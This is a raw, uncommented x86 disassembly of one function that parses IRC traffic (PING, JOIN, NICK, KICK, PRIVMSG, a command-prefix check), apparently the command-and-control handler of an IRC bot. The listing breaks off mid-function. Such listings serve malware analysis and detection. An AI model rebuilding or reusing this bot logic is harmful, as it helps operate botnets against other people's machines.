var_2664	= byte ptr -2664h
var_25E4	= byte ptr -25E4h
var_2564	= dword	ptr -2564h
var_2560	= dword	ptr -2560h
var_255C	= dword	ptr -255Ch
var_2558	= dword	ptr -2558h
var_2554	= dword	ptr -2554h
var_2550	= byte ptr -2550h
var_244C	= byte ptr -244Ch
var_2348	= dword	ptr -2348h
var_2344	= dword	ptr -2344h
var_2340	= dword	ptr -2340h
var_233C	= byte ptr -233Ch
var_22BC	= dword	ptr -22BCh
var_22B8	= dword	ptr -22B8h
var_22B4	= dword	ptr -22B4h
var_22B0	= byte ptr -22B0h
var_21AC	= dword	ptr -21ACh
var_21A8	= byte ptr -21A8h
var_2128	= byte ptr -2128h
var_2028	= byte ptr -2028h
var_1F28	= dword	ptr -1F28h
var_1F24	= dword	ptr -1F24h
var_1F20	= dword	ptr -1F20h
var_1F1C	= dword	ptr -1F1Ch
var_1F18	= dword	ptr -1F18h
var_1F14	= dword	ptr -1F14h
var_1F10	= dword	ptr -1F10h
var_1F0C	= dword	ptr -1F0Ch
var_1F08	= dword	ptr -1F08h
var_1F04	= dword	ptr -1F04h
var_1F00	= byte ptr -1F00h
var_1E80	= byte ptr -1E80h
var_1D80	= byte ptr -1D80h
var_1C80	= dword	ptr -1C80h
var_1C7C	= dword	ptr -1C7Ch
var_1C78	= dword	ptr -1C78h
var_1C74	= dword	ptr -1C74h
var_1C70	= dword	ptr -1C70h
var_1C6C	= dword	ptr -1C6Ch
var_1C68	= dword	ptr -1C68h
var_1C64	= dword	ptr -1C64h
var_1C60	= dword	ptr -1C60h
var_1C5C	= dword	ptr -1C5Ch
var_1C58	= byte ptr -1C58h
var_1BD8	= byte ptr -1BD8h
var_1B58	= byte ptr -1B58h
var_1AD8	= dword	ptr -1AD8h
var_1AD4	= dword	ptr -1AD4h
var_1AD0	= dword	ptr -1AD0h
var_1ACC	= dword	ptr -1ACCh
var_1AC8	= dword	ptr -1AC8h
var_1AC4	= byte ptr -1AC4h
var_1A44	= byte ptr -1A44h
var_19C4	= byte ptr -19C4h
var_1944	= dword	ptr -1944h
var_1940	= dword	ptr -1940h
var_193C	= dword	ptr -193Ch
var_1938	= dword	ptr -1938h
var_1934	= dword	ptr -1934h
var_1930	= byte ptr -1930h
var_1830	= byte ptr -1830h
var_17B0	= dword	ptr -17B0h
var_17A8	= dword	ptr -17A8h
var_17A4	= dword	ptr -17A4h
var_17A0	= dword	ptr -17A0h
var_179C	= dword	ptr -179Ch
var_1798	= dword	ptr -1798h
var_1794	= dword	ptr -1794h
var_1790	= byte ptr -1790h
var_1710	= byte ptr -1710h
var_16D0	= byte ptr -16D0h
var_15D0	= dword	ptr -15D0h
var_15CC	= dword	ptr -15CCh
var_15C0	= dword	ptr -15C0h
var_15BC	= dword	ptr -15BCh
var_15B8	= dword	ptr -15B8h
var_15B4	= byte ptr -15B4h
var_157C	= byte ptr -157Ch
var_1560	= byte ptr -1560h
var_1528	= byte ptr -1528h
var_1524	= byte ptr -1524h
var_14A4	= byte ptr -14A4h
var_1464	= byte ptr -1464h
var_13D4	= dword	ptr -13D4h
var_13D0	= dword	ptr -13D0h
var_13CC	= dword	ptr -13CCh
var_13C8	= dword	ptr -13C8h
var_13C4	= dword	ptr -13C4h
var_13C0	= byte ptr -13C0h
var_1340	= byte ptr -1340h
var_12C0	= dword	ptr -12C0h
var_12BC	= dword	ptr -12BCh
var_12B8	= dword	ptr -12B8h
var_12B4	= dword	ptr -12B4h
var_12B0	= byte ptr -12B0h
var_12A0	= byte ptr -12A0h
var_1220	= byte ptr -1220h
var_11A0	= dword	ptr -11A0h
var_1198	= dword	ptr -1198h
var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= dword	ptr -118Ch
var_1188	= dword	ptr -1188h
var_1184	= dword	ptr -1184h
var_1180	= byte ptr -1180h
var_1100	= byte ptr -1100h
var_1080	= byte ptr -1080h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= dword	ptr -0FE8h
var_FE4		= dword	ptr -0FE4h
var_FDC		= byte ptr -0FDCh
var_F5C		= byte ptr -0F5Ch
var_EDC		= dword	ptr -0EDCh
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EBC		= dword	ptr -0EBCh
var_EB8		= byte ptr -0EB8h
var_E38		= byte ptr -0E38h
var_DB8		= dword	ptr -0DB8h
var_DB4		= dword	ptr -0DB4h
var_DB0		= dword	ptr -0DB0h
var_DA8		= dword	ptr -0DA8h
var_DA4		= dword	ptr -0DA4h
var_DA0		= dword	ptr -0DA0h
var_D9C		= dword	ptr -0D9Ch
var_D98		= dword	ptr -0D98h
var_D94		= byte ptr -0D94h
var_D14		= dword	ptr -0D14h
var_D10		= dword	ptr -0D10h
var_D0C		= dword	ptr -0D0Ch
var_D08		= dword	ptr -0D08h
var_D04		= byte ptr -0D04h
var_C84		= byte ptr -0C84h
var_C74		= byte ptr -0C74h
var_C54		= dword	ptr -0C54h
var_C50		= byte ptr -0C50h
var_BD0		= byte ptr -0BD0h
var_B50		= dword	ptr -0B50h
var_B4C		= dword	ptr -0B4Ch
var_B48		= dword	ptr -0B48h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= byte ptr -2C0h
var_C0		= byte ptr -0C0h
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 4AE8h
		call	sub_418880
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C0]
		push	ebx
		push	eax
		mov	[ebp+var_A4], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A8], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C4], ebx
		call	sub_4182F0
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_418350
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401F20
		push	esi
		lea	eax, [ebp+var_39E8]
		push	ebx
		push	eax
		call	sub_4182F0
		dec	esi
		lea	eax, [ebp+var_39E8]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_418350
		lea	eax, [ebp+var_39E8]
		push	offset asc_42FF80 ; " :"
		push	eax
		call	sub_418660
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_39E8]
		push	esi
		push	eax
		lea	eax, [ebp+var_3E4C]
		push	eax
		call	sub_418350
		mov	esi, offset asc_42FF7C ; " "
		lea	eax, [ebp+var_3E4C]
		push	esi
		push	eax
		call	sub_418E54
		xor	edi, edi
		add	esp, 34h
		mov	[ebp+var_90], eax
		inc	edi


loc_401B67:				; CODE XREF: sub_401AA1+DAj
		push	esi
		push	ebx
		call	sub_418E54
		mov	[ebp+edi*4+var_90], eax
		inc	edi
		pop	ecx
		cmp	edi, 20h
		pop	ecx
		jl	short loc_401B67
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401F20
		cmp	[ebp+var_8C], ebx
		jz	loc_401F20
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		push	1Fh
		pop	edx


loc_401BAF:				; CODE XREF: sub_401AA1+142j
		lea	ecx, [ebp+edx*4+var_90]
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401BE2
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401BE5
		cmp	[eax+2], bl
		jnz	short loc_401BE5
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401BE2:				; CODE XREF: sub_401AA1+119j
		dec	edx
		jns	short loc_401BAF


loc_401BE5:				; CODE XREF: sub_401AA1+11Ej
					; sub_401AA1+123j
		xor	edi, edi
		inc	edi
		cmp	[ebp+var_8ED], bl
		jz	short loc_401BF3
		mov	[ebp+var_8], edi


loc_401BF3:				; CODE XREF: sub_401AA1+14Dj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C01
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C01:				; CODE XREF: sub_401AA1+158j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C3B
		push	7Fh
		lea	eax, [ebp+var_D04]
		push	esi
		push	eax
		call	sub_418350
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_418350
		lea	eax, [ebp+var_C0]
		push	offset dword_4292F8
		push	eax
		call	sub_418E54
		add	esp, 20h


loc_401C3B:				; CODE XREF: sub_401AA1+163j
		push	esi
		push	offset aPing	; "PING"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401C8C
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D30
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B
		add	esp, 10h
		jmp	loc_401D30
; ---------------------------------------------------------------------------


loc_401C8C:				; CODE XREF: sub_401AA1+1A9j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B35
		push	esi
		push	offset a005	; "005"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B35
		push	esi
		push	offset a302	; "302"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CF7
		push	offset a@_6	; "@"
		push	[ebp+var_84]
		call	sub_418660
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D30
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_418350
		add	esp, 0Ch
		jmp	short loc_401D30
; ---------------------------------------------------------------------------


loc_401CF7:				; CODE XREF: sub_401AA1+22Aj
		push	esi
		push	offset a433	; "433"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D37
		push	ebx
		push	dword_4260A4
		push	dword_4260A0
		push	[ebp+arg_10]
		call	sub_40A0C6
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B
		add	esp, 1Ch


loc_401D30:				; CODE XREF: sub_401AA1+1CAj
					; sub_401AA1+1E6j ...
		mov	eax, edi
		jmp	loc_401F23
; ---------------------------------------------------------------------------


loc_401D37:				; CODE XREF: sub_401AA1+265j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_2C8], 3
		mov	edi, 80h


loc_401D49:				; CODE XREF: sub_401AA1+2CDj
		lea	eax, [ebp+var_D04]
		push	eax
		push	esi
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D66
		mov	[ebp+var_A8], 1


loc_401D66:				; CODE XREF: sub_401AA1+2B9j
		add	esi, edi
		dec	[ebp+var_2C8]
		jnz	short loc_401D49
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E4F
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401D95:				; CODE XREF: sub_401AA1+373j
		cmp	[esi], bl
		jz	short loc_401E0F
		push	7Fh
		lea	eax, [ebp+var_D04]
		push	esi
		push	eax
		call	sub_418350
		add	esp, 0Ch
		cmp	[ebp+var_84], ebx
		jz	short loc_401E0F
		push	[ebp+var_84]
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E0F
		lea	eax, [ebp+var_C0]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42FF1C
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_408B7B
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413F3A
		add	esp, 20h


loc_401E0F:				; CODE XREF: sub_401AA1+2F6j
					; sub_401AA1+310j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401D95
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F20
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E42:				; CODE XREF: sub_401AA1+5CDj
					; sub_401AA1+814j ...
		push	[ebp+arg_4]
		call	sub_408B7B
		jmp	loc_403DAF
; ---------------------------------------------------------------------------


loc_401E4F:				; CODE XREF: sub_401AA1+2E4j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F88
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401E78:				; CODE XREF: sub_401AA1+429j
		lea	eax, [ebp+var_D04]
		push	eax
		push	esi
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401EC5
		lea	eax, [ebp+var_D04]
		push	21h
		push	eax
		call	sub_418D10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401EC5
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_418C10
		push	[ebp+arg_1C]
		push	edi
		call	sub_418C20
		add	esp, 10h
		mov	edi, 80h


loc_401EC5:				; CODE XREF: sub_401AA1+3E8j
					; sub_401AA1+3FFj
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401E78
		cmp	[ebp+arg_24], ebx
		jz	short loc_401F20
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C0]
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401EF8
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_418350
		jmp	loc_4032AF
; ---------------------------------------------------------------------------


loc_401EF8:				; CODE XREF: sub_401AA1+443j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401EFD:				; CODE XREF: sub_401AA1+47Dj
		cmp	[edi], bl
		jz	short loc_401F14
		lea	eax, [ebp+var_D04]
		push	eax
		push	edi
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F28


loc_401F14:				; CODE XREF: sub_401AA1+45Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401EFD


loc_401F20:				; CODE XREF: sub_401AA1+5Bj
					; sub_401AA1+E4j ...
		xor	eax, eax
		inc	eax


loc_401F23:				; CODE XREF: sub_401AA1+291j
					; sub_401AA1+25CEj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401F28:				; CODE XREF: sub_401AA1+471j
		lea	eax, [ebp+var_D04]
		push	21h
		push	eax
		call	sub_418D10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_401F20
		push	eax
		call	sub_417D40
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_417D40
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_401F20
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_3A4C]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_408BC1
		add	esp, 24h
		jmp	short loc_401F20
; ---------------------------------------------------------------------------


loc_401F88:				; CODE XREF: sub_401AA1+3BDj
		push	esi
		push	offset aPart	; "PART"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401FAA
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401FD1


loc_401FAA:				; CODE XREF: sub_401AA1+4F6j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401FAF:				; CODE XREF: sub_401AA1+52Ej
		cmp	[edi], bl
		jz	short loc_401FC5
		push	[ebp+var_90]
		push	edi
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402012


loc_401FC5:				; CODE XREF: sub_401AA1+510j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401FAF


loc_401FD1:				; CODE XREF: sub_401AA1+507j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402073
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402005
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_402005:				; CODE XREF: sub_401AA1+559j
		push	[ebp+var_80]
		push	offset unk_42FEC8
		jmp	loc_408B29
; ---------------------------------------------------------------------------


loc_402012:				; CODE XREF: sub_401AA1+522j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42FEA4
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_413F3A
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_418DD0
		add	esp, 18h
		test	eax, eax
		jnz	loc_401F20
		lea	eax, [ebp+var_2C0]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E42
; ---------------------------------------------------------------------------


loc_402073:				; CODE XREF: sub_401AA1+544j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_418DD0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_4020C7
		push	[ebp+var_8C]
		push	edi
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4020C7
		push	[ebp+var_8C]
		push	offset dword_42FE90
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4089AE
		cmp	dword_42608C, ebx
		jz	loc_4089AE


loc_4020C7:				; CODE XREF: sub_401AA1+5ECj
					; sub_401AA1+5FEj
		push	[ebp+var_8C]
		push	esi
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4021CE
		push	[ebp+var_8C]
		push	edi
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4021CE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		mov	[ebp+var_A4], 4
		mov	[ebp+var_88], eax


loc_40210C:				; CODE XREF: sub_401AA1+7ECj
					; sub_401AA1+828j ...
		mov	eax, [ebp+var_A4]
		mov	esi, eax
		shl	esi, 2
		lea	eax, [ebp+esi+var_90]
		mov	ecx, [eax]


loc_402120:				; DATA XREF: .nsp0:off_4292C0o
		lea	edi, [ecx+1]
		mov	[eax], edi
		mov	al, [ecx]
		cmp	al, byte_426098
		mov	[ebp+arg_C], edi
		jnz	loc_401F20
		push	edi
		push	offset aW	; "w"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089B6
		push	edi
		push	offset aW	; "w"
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089B6
		cmp	[ebp+var_A8], ebx
		jnz	short loc_402182
		push	[ebp+var_8C]
		push	offset dword_42FE90
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4089AE


loc_402182:				; CODE XREF: sub_401AA1+6C5j
		cmp	[ebp+arg_28], ebx
		jnz	loc_4089AE
		cmp	dword_4286AC, ebx
		mov	[ebp+arg_20], ebx
		jle	loc_402468
		mov	[ebp+arg_8], offset dword_4400B8


loc_4021A1:				; CODE XREF: sub_401AA1+726j
		push	edi
		push	[ebp+arg_8]
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022F9
		inc	[ebp+arg_20]
		add	[ebp+arg_8], 0B8h
		mov	eax, [ebp+arg_20]
		cmp	eax, dword_4286AC
		jl	short loc_4021A1
		jmp	loc_402468
; ---------------------------------------------------------------------------


loc_4021CE:				; CODE XREF: sub_401AA1+636j
					; sub_401AA1+64Cj
		push	[ebp+var_8C]
		push	edi
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4021E7
		mov	[ebp+var_4], 1


loc_4021E7:				; CODE XREF: sub_401AA1+73Dj
		cmp	[ebp+var_88], ebx
		jz	loc_401F20
		push	offset dword_4292C8
		push	[ebp+var_88]
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40220E
		cmp	[ebp+var_4], ebx
		jz	short loc_40221A


loc_40220E:				; CODE XREF: sub_401AA1+766j
		lea	eax, [ebp+var_C0]
		mov	[ebp+var_88], eax


loc_40221A:				; CODE XREF: sub_401AA1+76Bj
		cmp	[ebp+var_84], ebx
		jz	loc_401F20
		inc	[ebp+var_84]
		jz	short loc_402264
		cmp	[ebp+arg_10], ebx
		jz	short loc_402264
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_417D40
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_418BD0
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		add	eax, 4
		mov	[ebp+var_A4], eax
		jmp	short loc_40226A
; ---------------------------------------------------------------------------


loc_402264:				; CODE XREF: sub_401AA1+78Bj
					; sub_401AA1+790j
		mov	eax, [ebp+var_A4]


loc_40226A:				; CODE XREF: sub_401AA1+7C1j
		mov	esi, eax
		shl	esi, 2
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_401F20
		push	edi
		push	offset dword_42FE84
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40210C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4022BA
		mov	eax, dword_4CDDAC
		mov	eax, off_426164[eax*4]
		cmp	[eax], bl
		jz	short loc_4022BA
		push	eax
		push	ecx
		push	offset dword_42FE68
		jmp	loc_401E42
; ---------------------------------------------------------------------------


loc_4022BA:				; CODE XREF: sub_401AA1+7FBj
					; sub_401AA1+80Bj
		push	edi
		push	offset dword_42FE60
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40210C
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	loc_40210C
		mov	eax, [ebp+var_88]
		cmp	byte ptr [eax],	23h
		jz	loc_40210C
		push	esi
		push	eax
		push	offset dword_42FE48
		jmp	loc_401E42
; ---------------------------------------------------------------------------


loc_4022F9:				; CODE XREF: sub_401AA1+70Dj
		push	offset asc_42FF80 ; " :"
		push	[ebp+arg_0]
		call	sub_418660
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F20
		mov	edi, [ebp+arg_20]
		mov	cl, byte_426098
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_426098
		mov	[eax+3], cl
		lea	ecx, dword_4400D0[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_418350
		lea	eax, dword_4400B8[edi]
		add	esp, 0Ch
		mov	[ebp+arg_8], 0Fh
		mov	[ebp+arg_20], eax
		lea	edi, [ebp+esi+var_50]


loc_402357:				; CODE XREF: sub_401AA1+959j
		push	[ebp+arg_8]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_418660
		add	esp, 14h
		test	eax, eax
		jz	short loc_4023B9
		cmp	[edi], ebx
